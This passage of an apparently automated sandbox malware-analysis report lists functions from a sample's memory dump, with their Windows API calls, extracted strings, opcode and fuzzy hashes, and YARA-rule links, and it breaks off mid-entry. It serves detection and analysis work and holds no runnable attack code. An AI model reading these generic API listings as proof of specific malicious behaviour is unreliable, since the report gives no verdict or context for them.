API String ID: 2620147621-3624874895
Opcode ID: 8e51e88e1bbc6d6dfd1ba409518c3f3210d465f732a503ee3bce4d4c016ea4c6
Instruction ID: 14d9098acd4ceed36143b99067ae78c2495b8f0be0966ec53cb987618fbba037
Opcode Fuzzy Hash: 8e51e88e1bbc6d6dfd1ba409518c3f3210d465f732a503ee3bce4d4c016ea4c6
Instruction Fuzzy Hash: B7516D716243429FDB25CF28C480B6ABBE9FF89314F44482DE98987392D731E965CF42

Function 00206192 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00206248
_memmove.LIBCMT ref: 002062E4
_memset.LIBCMT ref: 00206308

Strings

ERCP, xrefs: 002061B3
3c , xrefs: 002062AF

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _memset$_memmove
String ID: 3c $ERCP
API String ID: 2532777613-2485014174
Opcode ID: 653187489aa63cf47a2b7b182028174237e800cd204aacaaefe515f55328a721
Instruction ID: a741325c59689df42a2684f1f0b8dc04ae2d5264bf948753af26b498bf50c65f
Opcode Fuzzy Hash: 653187489aa63cf47a2b7b182028174237e800cd204aacaaefe515f55328a721
Instruction Fuzzy Hash: CE51A171920706DFDB24DF55C985BAAB7E4EF04704F20456EE94ADB281E770AAB4CB80

Function 00252753 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002527C0
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 002527DC
DeleteMenu.USER32(?,00000007,00000000), ref: 00252822
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,002B5890,00000000), ref: 0025286B

Strings

0, xrefs: 002527B5

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: af807c182cd5b3687e56aec46310e285d2b34cf8398eda9bcadbde184f494a27
Instruction ID: a8c0d95998328bc932e68306aa5d4b8ec57e598e3dc695644785a028cbd881b4
Opcode Fuzzy Hash: af807c182cd5b3687e56aec46310e285d2b34cf8398eda9bcadbde184f494a27
Instruction Fuzzy Hash: 0D41C070214302EFD720DF64D888B2ABBE8EF86315F04496DF965972D1D730A81CCB66

Function 0026D7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0026D7C5

Part of subcall function 001F784B: _memmove.LIBCMT ref: 001F7899

Strings

cdecl, xrefs: 0026D81C
winapi, xrefs: 0026D836
stdcall, xrefs: 0026D847
none, xrefs: 0026D8A0

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: 32ac39141d3f38c7d57d29e955208f464695045bdb2f973c6599ea5e92b51ad8
Instruction ID: 7e1275e12f9fa12a1c40bf6fcfed68ebdae1dbe584409fd838c9d8f491454324
Opcode Fuzzy Hash: 32ac39141d3f38c7d57d29e955208f464695045bdb2f973c6599ea5e92b51ad8
Instruction Fuzzy Hash: 3C310670A24609ABCF00EF54CC559FEB3B5FF15320B108629E965972C1CB71AD95CB80

Function 00248E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

Part of subcall function 0024AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0024AABC

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00248F14
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00248F27
SendMessageW.USER32(?,00000189,?,00000000), ref: 00248F57

Part of subcall function 001F7BCC: _memmove.LIBCMT ref: 001F7C06

Strings

ComboBox, xrefs: 00248E9E
ListBox, xrefs: 00248ED3

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 49879aeb4c6e576bff302a1c54da143e25e37227ef22e51d39cee9af5e1c625c
Instruction ID: e0adafeff83f3c5fcb2912944d158ef942b051122bf76f2e188a5c8f02760fd7
Opcode Fuzzy Hash: 49879aeb4c6e576bff302a1c54da143e25e37227ef22e51d39cee9af5e1c625c
Instruction Fuzzy Hash: EE210171A24108BEDB18ABB0DC8ACFFB769EF16320B504529F525971E0DF7948599A10

Function 0026182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0026184C
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00261872
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 002618A2
InternetCloseHandle.WININET(00000000), ref: 002618E9

Part of subcall function 00262483: GetLastError.KERNEL32(?,?,00261817,00000000,00000000,00000001), ref: 00262498
Part of subcall function 00262483: SetEvent.KERNEL32(?,?,00261817,00000000,00000000,00000001), ref: 002624AD

Strings

, xrefs: 00261893

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 138309cca7c7bbb8098918cefcec874df5a4f1ff883704b328b616939fdd5c4b
Instruction ID: 0866c148ab6379281f5dbe4dd08a0771aba0ff78cd078ad0195978ad90377d5a
Opcode Fuzzy Hash: 138309cca7c7bbb8098918cefcec874df5a4f1ff883704b328b616939fdd5c4b
Instruction Fuzzy Hash: 8D21BEB1524308BFEB11DF64DC85EBB77EDEB48744F14412AF805A3240EA64ADA49BA1

Function 002763E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 001F1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 001F1D73
Part of subcall function 001F1D35: GetStockObject.GDI32(00000011), ref: 001F1D87
Part of subcall function 001F1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 001F1D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00276461
LoadLibraryW.KERNEL32(?), ref: 00276468
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 0027647D
DestroyWindow.USER32(?), ref: 00276485

Strings

SysAnimate32, xrefs: 0027643C

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 0332d3e7b504a9c92feb07d02368bcbd93fecdeecc202aeb598701221f7d499f
Instruction ID: 9ce1b820a3a45ff074f6f47038edbb365026f9fdfb2ce2e9c81f41595ff3c957
Opcode Fuzzy Hash: 0332d3e7b504a9c92feb07d02368bcbd93fecdeecc202aeb598701221f7d499f
Instruction Fuzzy Hash: 1721A471120A06BFEF204F64DC69EBB77ADEF59724F108629F91893090D771DCA19760

Function 00256D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00256DBC
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00256DEF
GetStdHandle.KERNEL32(0000000C), ref: 00256E01
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00256E3B

Strings

nul, xrefs: 00256E36

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: bcdd5bf25a01af907d314c7fa804e44ca285d0bd1fed12a8467a374af584e46c
Instruction ID: e4e8d9ff51da3536358927f0fb409c2db34ab9a7d4a4ef9c7c42031a4420da7b
Opcode Fuzzy Hash: bcdd5bf25a01af907d314c7fa804e44ca285d0bd1fed12a8467a374af584e46c
Instruction Fuzzy Hash: 9521C77461130AABDB209F29DC0DA9977F4EF45722F604A19FCA0D72D0D7709C68CB58

Function 00256E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00256E89
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00256EBB
GetStdHandle.KERNEL32(000000F6), ref: 00256ECC
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00256F06

Strings

nul, xrefs: 00256F01

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 56280a454899ed4b55792a360a498ef6f1deeb6c8e51217f64376b43d62240a8
Instruction ID: ec7650dee6fdba68e27081cdd0198fef9454140f5037e3c4f8dab1a77aa05f7b
Opcode Fuzzy Hash: 56280a454899ed4b55792a360a498ef6f1deeb6c8e51217f64376b43d62240a8
Instruction Fuzzy Hash: B521C4795113069BDB209F69DC0DEAA77A8EF45722F600A19FCA0D32D0DB709868CB18

Function 0025AC40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0025AC54
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0025ACA8
__swprintf.LIBCMT ref: 0025ACC1
SetErrorMode.KERNEL32(00000000,00000001,00000000,0027F910), ref: 0025ACFF

Strings

%lu, xrefs: 0025ACBB

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: ee032dbbbc9e2819ec01a704dc1aab475571fec70a8b0934d404be7f7ea83b5c
Instruction ID: 9816f456a11ecb24fb6b90952f1b2b4e3a52fd7010d9a0ec2cc62a062076b295
Opcode Fuzzy Hash: ee032dbbbc9e2819ec01a704dc1aab475571fec70a8b0934d404be7f7ea83b5c
Instruction Fuzzy Hash: 87217F34A0020DAFCB10EF64DD45EAE7BB8FF49315B0040A9F909EB252DB71EA55CB61

Function 00251142 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0024FCED,?,00250D40,?,00008000), ref: 0025115F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,0024FCED,?,00250D40,?,00008000), ref: 00251184
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0024FCED,?,00250D40,?,00008000), ref: 0025118E
Sleep.KERNEL32(?,?,?,?,?,?,?,0024FCED,?,00250D40,?,00008000), ref: 002511C1

Strings

@%, xrefs: 0025119D

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID: @%
API String ID: 2875609808-1903296216
Opcode ID: 92ff97405462993d076dcfe5fc3d140fac8d2dcc330258c2e3b5d2f120e3a448
Instruction ID: 5780c07965c5ffa66696ba32e8bfdbf69e333e3b40868905110d761ce8383425
Opcode Fuzzy Hash: 92ff97405462993d076dcfe5fc3d140fac8d2dcc330258c2e3b5d2f120e3a448
Instruction Fuzzy Hash: 1B114C31C14919E7CF009FA5E9487EEBB78FF09712F408095DE49B6240CA7055B4DBA9

Function 00251AE8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00251B19

Strings

KEYS, xrefs: 00251B30
REMOVE, xrefs: 00251B1F
APPEND, xrefs: 00251B52
EXISTS, xrefs: 00251B41

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 79cd86408e89eb484fc1450c081ef7e9e97e80d1b132ac4c1e911918f6d72c02
Instruction ID: c8d07fff07db7d160b517f6f3bed1cefefc4efb62abb7799ddaf14813c7ef2ad
Opcode Fuzzy Hash: 79cd86408e89eb484fc1450c081ef7e9e97e80d1b132ac4c1e911918f6d72c02
Instruction Fuzzy Hash: EC113C309201098BCF00EF64D8919FEB7B4FF26308B5084A5DD5467292EB32596ACF54

Function 0026EB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0026EC07
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0026EC37
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 0026ED6A
CloseHandle.KERNEL32(?), ref: 0026EDEB

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: fb0c5f07ca91966ec3cc425ed300e56b9722dc268d1249be339934b0ec090f14
Instruction ID: 4191f63f10e556e67d55e8d7575b31d1e266d9325865e678ece138183622b5a3
Opcode Fuzzy Hash: fb0c5f07ca91966ec3cc425ed300e56b9722dc268d1249be339934b0ec090f14
Instruction Fuzzy Hash: 7D8192716147059FDB60EF28C886F2AB7E5AF54710F04881DFA99DB2D2DBB0AC40CB52

Function 00270037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

Part of subcall function 00270E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0026FDAD,?,?), ref: 00270E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 002700FD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0027013C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00270183
RegCloseKey.ADVAPI32(?,?), ref: 002701AF
RegCloseKey.ADVAPI32(00000000), ref: 002701BC

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 1ce3b7e8bbe75c692dc9137ccec3e6e9f6f7c6c68ca6ea6149946eb5287b6ac0
Instruction ID: b661aff75d8fa5139b026094c50e1baf6ed862bfbc7bc03e5931867b3e48c3c2
Opcode Fuzzy Hash: 1ce3b7e8bbe75c692dc9137ccec3e6e9f6f7c6c68ca6ea6149946eb5287b6ac0
Instruction Fuzzy Hash: E4514B71218205AFD704EF68C885F6AB7E9FF84314F40891DF5598B2A1DB71E918CB52

Function 0026D8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 001F9837: __itow.LIBCMT ref: 001F9862
Part of subcall function 001F9837: __swprintf.LIBCMT ref: 001F98AC

LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0026D927
GetProcAddress.KERNEL32(00000000,?), ref: 0026D9AA
GetProcAddress.KERNEL32(00000000,00000000), ref: 0026D9C6
GetProcAddress.KERNEL32(00000000,?), ref: 0026DA07
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0026DA21

Part of subcall function 001F5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00257896,?,?,00000000), ref: 001F5A2C
Part of subcall function 001F5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00257896,?,?,00000000,?,?), ref: 001F5A50

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: 0dbc57f7cf8070cc5972aef39dbb7dae2c81a6d8e5d50a6732fb42cbe920c34b
Instruction ID: f337680337b42e5ad00803c6b5328f405856b0afa2b84f87b83a8633625b3949
Opcode Fuzzy Hash: 0dbc57f7cf8070cc5972aef39dbb7dae2c81a6d8e5d50a6732fb42cbe920c34b
Instruction Fuzzy Hash: 9D513735A04609DFCB00EFA8C484DADB7B5FF19324B158065E919AB322D730AD95CF90

Function 0025E571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 0025E61F
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 0025E648
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0025E687

Part of subcall function 001F9837: __itow.LIBCMT ref: 001F9862
Part of subcall function 001F9837: __swprintf.LIBCMT ref: 001F98AC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 0025E6AC
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0025E6B4

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 197b4ed403b48c468cedb0005f15f1b95f9dfc89a8be1b5c44c879ac4f62627e
Instruction ID: d852f300e8006c0a5b51a56a566886de14246b3d2c037b1b9ba6ec81887b6623
Opcode Fuzzy Hash: 197b4ed403b48c468cedb0005f15f1b95f9dfc89a8be1b5c44c879ac4f62627e
Instruction Fuzzy Hash: 1C512735A00209DFCF05EF64C985AAEBBF5EF19354B1480A9E909AB362CB31ED55CF50

Function 0027A056 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3250040f8c0d1c9b6336101ecb2514c32f8b8078d589f06ea661b53b3570d92e
Instruction ID: e9b89d47538be18427a528c74f8a528ff7ba3682b32172618f30d585d4da972e
Opcode Fuzzy Hash: 3250040f8c0d1c9b6336101ecb2514c32f8b8078d589f06ea661b53b3570d92e
Instruction Fuzzy Hash: 10412635924115AFE710DF28DC49FADBBA8EB89330F548265F81EA72E0C7709D60DA51

Function 001F2344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 001F2357
ScreenToClient.USER32(002B57B0,?), ref: 001F2374
GetAsyncKeyState.USER32(00000001), ref: 001F2399
GetAsyncKeyState.USER32(00000002), ref: 001F23A7

Memory Dump Source

